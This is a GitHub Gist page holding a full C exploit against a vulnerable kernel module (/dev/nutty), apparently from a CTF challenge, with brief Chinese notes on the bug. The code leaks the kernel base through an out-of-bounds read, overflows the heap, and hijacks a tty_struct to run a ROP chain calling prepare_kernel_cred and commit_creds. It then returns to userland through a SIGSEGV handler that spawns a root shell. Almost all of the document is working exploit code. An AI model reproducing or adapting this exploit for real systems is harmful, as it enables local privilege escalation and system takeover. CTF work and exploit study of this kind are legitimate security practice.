Last active
April 9, 2021 02:22
-
-
Save Mech0n/e37b65f51222e3e33083f4e618c02194 to your computer and use it in GitHub Desktop.
SIGSEGV && tty_struct
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <errno.h> | |
#include <stdlib.h> | |
#include <fcntl.h> | |
#include <signal.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <poll.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/prctl.h> | |
#include <sys/shm.h> | |
#include <sys/xattr.h> | |
#include <sys/socket.h> | |
#define errExit(msg) \ | |
do \ | |
{ \ | |
perror("[ERROR EXIT]\n"); \ | |
perror(msg); \ | |
exit(EXIT_FAILURE); \ | |
} while (0) | |
#define WAIT(msg) \ | |
puts(msg); \ | |
fgetc(stdin); | |
typedef struct req | |
{ | |
int idx; | |
int size; | |
char *contents; | |
int content_length; | |
char *show_buffer; | |
} req; | |
#define PAGE 0x1000 | |
#define CREATE 0x13371 | |
#define DELETE 0x13372 | |
#define SHOW 0x13373 | |
#define APPEND 0x13374 | |
unsigned long long user_cs, user_ss, user_sp, user_rflags; | |
int fd; // file descriptor | |
unsigned long long leak, kernbase, heapbase; | |
unsigned long long base = 0xffffffff8107e880; | |
void pop_shell(void) | |
{ | |
char *argv[] = {"/bin/sh", NULL}; | |
char *envp[] = {NULL}; | |
execve("/bin/sh", argv, envp); | |
} | |
static void save_state(void) | |
{ | |
asm( | |
"movq %%cs, %0\n" | |
"movq %%ss, %1\n" | |
"movq %%rsp, %2\n" | |
"pushfq\n" | |
"popq %3\n" | |
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) | |
: | |
: "memory"); | |
} | |
unsigned long long calc(unsigned long long addr) | |
{ | |
return addr - base + kernbase; | |
} | |
int create(int size, char *contents, int content_length) | |
{ | |
req one; | |
one.size = size; | |
one.contents = contents; | |
one.content_length = content_length; | |
return ioctl(fd, CREATE, &one); | |
} | |
int delete (int idx) | |
{ | |
req one; | |
one.idx = idx; | |
return ioctl(fd, DELETE, &one); | |
} | |
int show(int idx, char *show_buffer) | |
{ | |
req one; | |
one.idx = idx; | |
one.show_buffer = show_buffer; | |
return ioctl(fd, SHOW, &one); | |
} | |
int append(int idx, int size, char *contents) | |
{ | |
req one; | |
one.idx = idx; | |
one.contents = contents; | |
one.size = size; | |
return ioctl(fd, APPEND, &one); | |
} | |
int main(int argc, char const *argv[]) | |
{ | |
signal(SIGSEGV, pop_shell); | |
save_state(); | |
fd = open("/dev/nutty", 0); | |
unsigned long long buf[0x300] = {0}; | |
unsigned long long tmp[0x300] = {0}; | |
buf[0] = 0xDEADBEAFDEADBEAF; | |
create(0x60, buf, 0x60); // nut[0] | |
create(0x60, buf, 0); // nut[1] | |
socket(22, AF_INET, 0); | |
delete (1); | |
delete (0); | |
create(0x100, buf, 0x60); // nut[0] | |
memset(buf, 0, sizeof(buf)); | |
show(0, buf); | |
printf("[*] Leak call_usermodehelper_exec_work addr : %#llx\n", buf[15]); | |
kernbase = buf[15]; | |
printf("[*] Get RIP : %#llx\n", calc(0xffffffff8100cf31)); | |
// 0xffffffff8100cf31: leave; ret; | |
memset(buf, 0, sizeof(buf)); | |
create(1023, buf, 1023); // nut[1] | |
create(1023, buf, 1023); // nut[2] | |
delete (2); | |
create(1023, buf, 0); // nut[2] | |
show(2, buf); | |
heapbase = buf[64]; | |
printf("[*] Leak tty_struct chunk addr : %#llx\n", buf[64]); | |
int victim = open("/dev/ptmx", O_RDWR | O_NOCTTY); | |
memset(buf, 0, sizeof(buf)); | |
create(0x80, buf, 0x80); // nut[3] | |
create(0x80, buf, 0x80); // nut[4] | |
buf[0x18] = heapbase; | |
create(0x80 + 75, buf, 0x80 + 75); // nut[5] | |
delete (4); | |
delete (3); | |
append(5, 0x500, buf); | |
create(0x80, buf, 0); // nut[3] | |
create(0x80, buf, 0); // nut[4] => tty_struct | |
show(4, buf); | |
create(64, tmp, 64); // nut[6] | |
create(64, tmp, 64); // nut[7] | |
for (int i = 0; i < 13; i++) | |
tmp[i] = heapbase; | |
create(64 + 75, tmp, 64 + 75); // but[8] | |
delete (7); | |
delete (6); | |
append(8, 0x500, tmp); | |
buf[1] = calc(0xffffffff814236d7); // 0xffffffff815c5c8e: pop rbp; pop rsp; sub ecx, 0xfffeb01a; ret; | |
buf[3] = heapbase + 0x400; | |
create(64, buf, 64); // nut[6] => tty_struct | |
delete (2); | |
delete (1); | |
memset(buf, 0, sizeof(buf)); | |
// for(int i = 0; i < 20; i++) | |
// buf[i] = 0xdeadbeaf; | |
buf[0] = calc(0xffffffff81001bdd); // 0xffffffff81001bdd: pop rdi ; ret ; | |
buf[1] = 0; | |
buf[2] = calc(0xffffffff8108c3c0); // prepare_kernel_cred | |
buf[3] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret; | |
buf[4] = 0; | |
buf[5] = calc(0xffffffff81a2474b); // 0xffffffff81a2474b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; | |
buf[6] = calc(0xffffffff8108c190); // ffffffff8108c190 T commit_creds | |
buf[7] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret; | |
buf[8] = 0; | |
buf[9] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret; | |
buf[10] = 0; | |
buf[11] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret; | |
buf[12] = calc(0xffffffff8100cf31); // 0xffffffff8100cf31: leave; ret; | |
buf[13] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret; | |
buf[14] = 0; | |
buf[15] = calc(0xffffffff81a23d42); // 0xffffffff81a23d42: swapgs; ret; | |
buf[16] = calc(0xffffffff81026a7b); // 0xffffffff81026a7b: iretq; ret; | |
buf[17] = &pop_shell; | |
buf[18] = user_cs; | |
buf[19] = user_rflags; | |
buf[20] = user_sp; | |
buf[21] = user_ss; | |
create(1023, buf, 1023); | |
printf("[*] Get RIP : %#llx\n", calc(0xffffffff8100cf31)); | |
puts("[*] ROPing"); | |
ioctl(victim, buf, heapbase + 0x400); | |
return 0; | |
} | |
// ffffffff8108c190 T commit_creds | |
// ffffffff8108c3c0 T prepare_kernel_cred | |
// ffffffff8107e880 t call_usermodehelper_exec_work | |
// vulnmod 16384 0 - Live 0xffffffffc0000000 (O) | |
// 0xffffffff81001bdd: pop rdi; ret; | |
// 0xffffffff8100cf31: leave; ret; | |
// 0xffffffff815c5c8e: pop rbp; pop rsp; sub ecx, 0xfffeb01a; ret; | |
// 0xffffffff81001bdd: pop rdi; ret; | |
// 0xffffffff81a23d42: swapgs; ret; | |
// 0xffffffff81026a7b: iretq; ret; | |
// 0xffffffff814236d7: pop rbp; add byte ptr [rbp + 0x41], bl; pop rsp; ret; | |
// b *0xffffffffc000003b | |
// b *0xffffffffc0000292 | |
// b *0xffffffffc000012f | |
// b *0xffffffffc0000371 | |
// b *0xffffffff813fb156 |
- 越界读泄漏
kernbase
- 越界写造成UAF
tty_struct
来ROPSIGSEGV
来绕过KPTI
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
new_size > 1024
会被返回-EOVERFLOW
,即-75
,可以利用这个来越写堆,造成堆溢出。size > length
会造成越界读。